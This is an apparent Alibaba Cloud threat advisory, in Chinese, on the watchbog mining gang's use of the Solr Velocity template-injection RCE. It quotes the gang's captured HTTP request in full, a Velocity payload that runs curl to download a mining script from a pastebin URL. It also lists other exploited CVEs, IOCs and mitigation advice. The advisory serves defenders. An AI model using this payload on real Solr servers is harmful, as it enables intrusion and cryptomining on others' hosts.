概述

近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利。建议用户及时排查自身主机是否受到影响。

值得注意的是,此漏洞利用代码于10月31日被公布,11月2日阿里云安全团队就已发现watchbog团伙利用此漏洞进行入侵,植入木马进行挖矿,漏洞公开不足2日便被挖矿团伙利用进行攻击牟利。可以看到,当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。

背景介绍

watchbog挖矿团伙

watchbog团伙最早出现于2018年,是一个利用多种漏洞攻击方式向目标主机植入挖矿木马的恶意团伙,通过挖取门罗币牟利并维持C&C通信以供团伙后续动作。自出现后更新频繁,一直在尝试利用最新的漏洞进行攻击。

Solr Velocity 模板注入远程命令执行漏洞

Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。在2019年10月31日,国外安全研究员公开了Solr Velocity模板注入的POC。此漏洞存在于Solr默认集成组件Solr.VelocityResponseWriter中,参数params.resource.loader.enabled可以控制是否根据请求参数来加载指定模板,虽然默认为false,但攻击者可以通过发送/[core_name]/config来手动设置此参数的开启,之后便可构造恶意请求执行指令。

攻击者首先可以通过[core_admin]获取服务器core_name,之后通过发送以下命令将加载模板指令打开。

开启从参数指定模板后,攻击者便可以发送恶意代码从而进行恶意行为。

恶意脚本分析

11月2日,阿里云安全团队发现有攻击者利用Solr Velocity漏洞发起入侵,其会向受到此漏洞影响的主机发送以下数据:

GET /solr/scalebay_2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('curl -fsSL https://pastebin.com/raw/dhQaGbMa -o /tmp/baby'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

跟进其使用的脚本 https://pastebin.com/raw/dhQaGbMa,此脚本格式内容与阿里云安全团队之前捕获的watchbog恶意脚本内容格式基本一致,(可参考之前阿里云安全针对watchbog的分析文章,参考文末相关链接),可以确认为同一团伙所为,脚本相同内容不再赘述。除了新增了Solr Velocity攻击方式外,其新增了cleanoldpack函数用以清除旧版木马以及其他恶意团伙恶意程序,可见黑产之间的相互竞争也非常激烈。

其他攻击方式

序号 攻击方式
1 Solr dataimport RCE(CVE-2019-0193)
2 Nexus Repository Manager(CVE_2019_5475)
3 Windows blueKeep RDP RCE (CVE-2019-0708)
4 JIRA模板注入(CVE-2019-11581)
5 Exim Mail Server 远程命令执行(CVE-2019-10149)
6 Solr 实体注入 (CVE-2017-12629)
7 Couchdb 远程命令执行(CVE-2018-8007)
8 Nexus Repository Manager 3 远程命令执行(CVE-2019-7238)
9 Jenkins 远程命令执行(CVE-2018-1000861)
10 Redis未授权访问、Redis任意lua字节码执行(CVE-2015-4335)

IOC

pastebin[.]com/raw/dhQaGbMa 
pastebin[.]com/raw/9QVpd02i 
pastebin[.]com/raw/6HtLs31b

MD5:
9f63e1105214ea94766d8c2fe2ba0da0

安全建议

  1. 截止完成此稿,目前官方还未发布任何补丁,建议用户采用白名单策略限制与solr应用通信对象,并时刻关注官方对于此漏洞的反应。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

相关链接

  1. watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击
  2. 威胁快报|Solr dataimport成挖矿团伙新型利用方式
  3. 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发

本文作者:苍珀

原文链接

本文为云栖社区原创内容,未经允许不得转载。

威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr Velocity模板注入rce+获取交互式shell

    前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...

  3. Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)

    介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...

  4. solr(CVE-2019-17558)远程命令执行

    影响版本 Apache Solr 5.x到8.2.0版本 测试 https://github.com/jas502n/CVE-2019-0193

  5. solr(CVE-2019-0193)远程命令执行

    影响版本 Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用) 安装 重启daoker  更新配置文件 systemctl dae ...

  6. solr(CVE-2017-12629)远程命令执行

    影响版本Apache Solr 5.5.0到7.0.1版本 solr(CVE-2017-12629-RCE) 环境搭建 1.burp检测 创建listen POST /solr/demo/config ...

  7. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  8. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

  9. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

随机推荐

  1. php面试专题---9、会话控制考点

    php面试专题---9.会话控制考点 一.总结 一句话总结: 面向对象.设计模式这些特别好用,需要融会贯通 1.请写出PHP类权限控制修饰符? public.protected.private 2.p ...

  2. PHP 三元运算符?:的小坑

    $a = ['result'=123]; $b = !empty($a['result'])?:-1; $c = !empty($a['result'])?$a['result']:-1; var_d ...

  3. Oracle DataGuard日志传输

    1. 日志传输方式 有两种日志传输方式(ARC和LGWR),第一种是采用ARC进程传输日志,其示意图如下: 注:上图来自<大话Oracle RAC> 其大致过程如下: 1)主库:日志先写入 ...

  4. python 数值系列-进制转换

    进制转换 前语: 如果您不通二进制,八进制,十六进制,请移步:http://www.360doc.com/content/17/0211/21/40101294_628326994.shtml 问题 ...

  5. 搭建maven本地仓库

    1. 需先配置java环境. 2. 下载nexus. https://www.sonatype.com/download-nexus-repo-oss?submissionGuid=a015a3db- ...

  6. npm install 安装不成功,提示python2.7

    npm install 安装不成功的原因 是因为缺少python的环境 解决方法: 1.去官网下载https://www.python.org/download/releases/2.7/ 2.安装成 ...

  7. composer的自动加载机制(autoload)

    composer的出现真是让人们眼前一亮,web开发从此变成了一件很『好玩』的事情,开发一个CMS就像在搭积木,从packagist中取出『积木』搭建在自己的代码中,一点一点搭建出一个属于自己的王国. ...

  8. (appium+python)UI自动化_02_appium启动手机app

    前提:需先安装配置好appium+python自动化环境,已配置好环境的小伙伴可以参考以下步骤启动Android app,具体步骤如下: 一.USB连接手机 (1)手机USB连接电脑 (2)手机打开开 ...

  9. 炫酷CSS3加载动画

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8&qu ...

  10. Java-多线程第一篇多线程相关认识(1)

    1.单线程进程 如果程序执行某行代码时遇到了阻塞,则程序将会停滞在该处. 2.进程代表着一个程序,程序是静态的,进程是动态的程序. 进程是系统进行资源分配和调度的一个独立单位.关于进程有如下3个特征: ...